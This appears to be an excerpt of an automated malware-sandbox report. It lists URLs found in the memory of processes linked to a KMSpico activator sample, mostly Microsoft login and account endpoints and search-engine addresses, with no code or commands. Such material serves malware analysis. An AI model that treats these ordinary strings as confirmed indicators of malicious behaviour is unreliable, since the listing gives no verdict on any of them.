              Source: svchost.exe, 00000016.00000003.2737698185.0000026DE9B29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737698185.0000026DE9B2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737870700.0000026DE9B52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2743758254.0000026DE9B56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/Wizard/Password/Change?id=80601
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/Wizard/Password/Change?id=80601L_AccountSe
              Source: svchost.exe, 00000016.00000003.2737698185.0000026DE9B29000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&amp;id=80600
              Source: svchost.exe, 00000016.00000003.2737698185.0000026DE9B29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737870700.0000026DE9B52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2743758254.0000026DE9B56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&amp;id=80601
              Source: svchost.exe, 00000016.00000003.2737698185.0000026DE9B29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737870700.0000026DE9B52000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&amp;id=80603
              Source: svchost.exe, 00000016.00000003.2737698185.0000026DE9B29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737870700.0000026DE9B52000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&amp;id=80604
              Source: svchost.exe, 00000016.00000003.2737698185.0000026DE9B29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737870700.0000026DE9B52000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&amp;id=80605
              Source: svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600oveSession
              Source: svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601uth
              Source: svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603AuthEnd
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
              Source: svchost.exe, 00000016.00000003.2846246293.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4002837227.0000026DE9B37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737698185.0000026DE9B29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4001043513.0000026DE9240000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738482681.0000026DE9B57000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737870700.0000026DE9B52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/msangcwam
              Source: powershell.exe, 00000017.00000002.2942057979.0000000004F11000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore6lBcq
              Source: core.exe, 00000004.00000003.2752488521.0000000000947000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
              Source: core.exe, 00000004.00000003.2752488521.0000000000947000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
              Source: core.exe, 00000004.00000003.2722367278.0000000003317000.00000004.00000800.00020000.00000000.sdmp, core.exe, 00000004.00000003.2722121056.000000000331A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
              Source: core.exe, 00000004.00000003.2722367278.0000000003317000.00000004.00000800.00020000.00000000.sdmp, core.exe, 00000004.00000003.2722121056.000000000331A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
              Source: core.exe, 00000004.00000003.2722367278.0000000003317000.00000004.00000800.00020000.00000000.sdmp, core.exe, 00000004.00000003.2722121056.000000000331A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
              Source: core.exe, 00000004.00000003.2752488521.0000000000947000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
              Source: core.exe, 00000004.00000003.2752488521.0000000000947000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
              Source: powershell.exe, 00000017.00000002.2954902308.0000000005F77000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
              Source: powershell.exe, 00000017.00000002.2954902308.0000000005F77000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
              Source: powershell.exe, 00000017.00000002.2954902308.0000000005F77000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
              Source: core.exe, 00000004.00000003.2722367278.0000000003317000.00000004.00000800.00020000.00000000.sdmp, core.exe, 00000004.00000003.2722121056.000000000331A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
              Source: core.exe, 00000004.00000003.2722367278.0000000003317000.00000004.00000800.00020000.00000000.sdmp, core.exe, 00000004.00000003.2722121056.000000000331A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
              Source: core.exe, 00000004.00000003.2722367278.0000000003317000.00000004.00000800.00020000.00000000.sdmp, core.exe, 00000004.00000003.2722121056.000000000331A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
              Source: svchost.exe, 00000011.00000003.2705310062.0000023AE2533000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
              Source: svchost.exe, 00000011.00000003.2705310062.0000023AE24C0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
              Source: powershell.exe, 00000017.00000002.2942057979.0000000005066000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
              Source: powershell.exe, 00000017.00000002.2942057979.0000000005535000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.micro
              Source: core.exe, 00000004.00000003.2752488521.0000000000947000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
              Source: KMSpico.exeString found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
              Source: svchost.exe, 00000016.00000002.4001043513.0000026DE9240000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.icrosoftonl
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live
              Source: svchost.exe, 00000016.00000002.4003972990.0000026DEA261000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/
              Source: svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ApproveSession.srf
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ApproveSession.srfm
              Source: svchost.exe, 00000016.00000003.2737698185.0000026DE9B29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737870700.0000026DE9B52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2743758254.0000026DE9B56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&amp;id=80600
              Source: svchost.exe, 00000016.00000003.2737698185.0000026DE9B29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737870700.0000026DE9B52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2743758254.0000026DE9B56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&amp;id=80601
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740501425.0000026DE9B6B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740501425.0000026DE9B6B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737698185.0000026DE9B2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740501425.0000026DE9B6B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
              Source: svchost.exe, 00000016.00000002.4001043513.0000026DE9240000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ListSessions.srf
              Source: svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ManageApprover.srf
              Source: svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ManageApprover.srfe.com
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ManageApprover.srfm
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ManageLoginKeys.srf
              Source: svchost.exe, 00000016.00000003.2737771117.0000026DE924E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/RST2.srf
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/RST2.srfmeou
              Source: svchost.exe, 00000016.00000003.2737771117.0000026DE924E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/didtou.srf
              Source: svchost.exe, 00000016.00000002.4001043513.0000026DE9240000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/getrealminfo.srf
              Source: svchost.exe, 00000016.00000003.2846246293.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4001043513.0000026DE9240000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/getuserrealm.srf
              Source: svchost.exe, 00000016.00000003.2737771117.0000026DE924E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srf
              Source: svchost.exe, 00000016.00000003.2737771117.0000026DE924E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srf
              Source: svchost.exe, 00000016.00000003.2743517416.0000026DE9B27000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srff
              Source: svchost.exe, 00000016.00000003.2737771117.0000026DE924E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceQuery.srf
              Source: svchost.exe, 00000016.00000003.2737771117.0000026DE924E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srf
              Source: svchost.exe, 00000016.00000003.2737771117.0000026DE924E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srf
              Source: svchost.exe, 00000016.00000003.2743517416.0000026DE9B27000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srfX
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/GetAppData.srf
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/GetAppData.srfrfrf6085fid=cpsrfrive.
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740501425.0000026DE9B6B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srf
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737698185.0000026DE9B2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740501425.0000026DE9B6B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf
              Source: svchost.exe, 00000016.00000003.2871276418.0000026DE9B5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4001164025.0000026DE9274000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf?stsft=-DiywV9kalYiG7UUt2T7xYoffV
              Source: svchost.exe, 00000016.00000003.2737698185.0000026DE9B29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737870700.0000026DE9B52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2743758254.0000026DE9B56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600cfg:NthUs
              Source: svchost.exe, 00000016.00000003.2846246293.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737698185.0000026DE9B29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737870700.0000026DE9B52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601
              Source: svchost.exe, 00000016.00000003.2737698185.0000026DE9B29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603rover
              Source: svchost.exe, 00000016.00000003.2737698185.0000026DE9B29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737870700.0000026DE9B52000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80604
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740501425.0000026DE9B6B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf
              Source: svchost.exe, 00000016.00000002.4005239438.0000026DEA302000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2904237856.0000026DEA302000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf88
              Source: svchost.exe, 00000016.00000003.2737698185.0000026DE9B2C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfm
              Source: svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502IssuerAppD
              Source: svchost.exe, 00000016.00000003.2737698185.0000026DE9B29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600
              Source: svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=806005
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600eteAccountC
              Source: svchost.exe, 00000016.00000003.2846246293.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737698185.0000026DE9B29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737870700.0000026DE9B52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2743758254.0000026DE9B56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601=80605
              Source: svchost.exe, 00000016.00000003.2737698185.0000026DE9B29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737870700.0000026DE9B52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=8060307
              Source: svchost.exe, 00000016.00000003.2737870700.0000026DE9B52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604
              Source: svchost.exe, 00000016.00000003.2737698185.0000026DE9B29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737870700.0000026DE9B52000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80605
              Source: svchost.exe, 00000016.00000003.2737698185.0000026DE9B29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737870700.0000026DE9B52000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80606
              Source: svchost.exe, 00000016.00000003.2737698185.0000026DE9B29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737870700.0000026DE9B52000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80607
              Source: svchost.exe, 00000016.00000003.2737698185.0000026DE9B29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738482681.0000026DE9B57000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737870700.0000026DE9B52000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80608
              Source: svchost.exe, 00000016.00000003.2737698185.0000026DE9B29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737870700.0000026DE9B52000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&amp;fid=cp
              Source: svchost.exe, 00000016.00000002.4001043513.0000026DE9240000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737698185.0000026DE9B2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737840867.0000026DE9B5A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
